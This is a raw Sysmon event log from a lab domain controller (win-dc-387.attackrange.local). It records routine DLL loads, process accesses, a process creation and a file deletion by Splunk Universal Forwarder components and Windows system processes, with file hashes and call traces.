14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000049451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000049450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000049449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000049448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000049447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000049446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000049444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000049443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exeMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25trueSplunk, Inc.Valid 10341000x800000000000000049441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000049436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.559{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000049435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.560{7BD73061-728C-613B-530B-00000000F001}3248C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000049434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.309{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000049433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.309{7BD73061-728C-613B-520B-00000000F001}2780332C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.309{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000049431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.309{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000049430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.122{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=13EE82776511A1EE3B135AB26F9B2174,SHA256=B7DE6D06DEB6DEE43ABF04D984D42227BF9298465BD9AB95C51902648E62F765,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000049429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.091{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000049428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.091{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000049427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.091{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000049426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.091{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000049425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.075{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000049424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.075{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000049423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.075{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000049422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.075{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000049421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.075{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000049420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.075{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000049419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.075{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000049418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.075{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000049417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.075{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000049416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000049415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000049414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000049412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.059{7BD73061-728C-613B-520B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 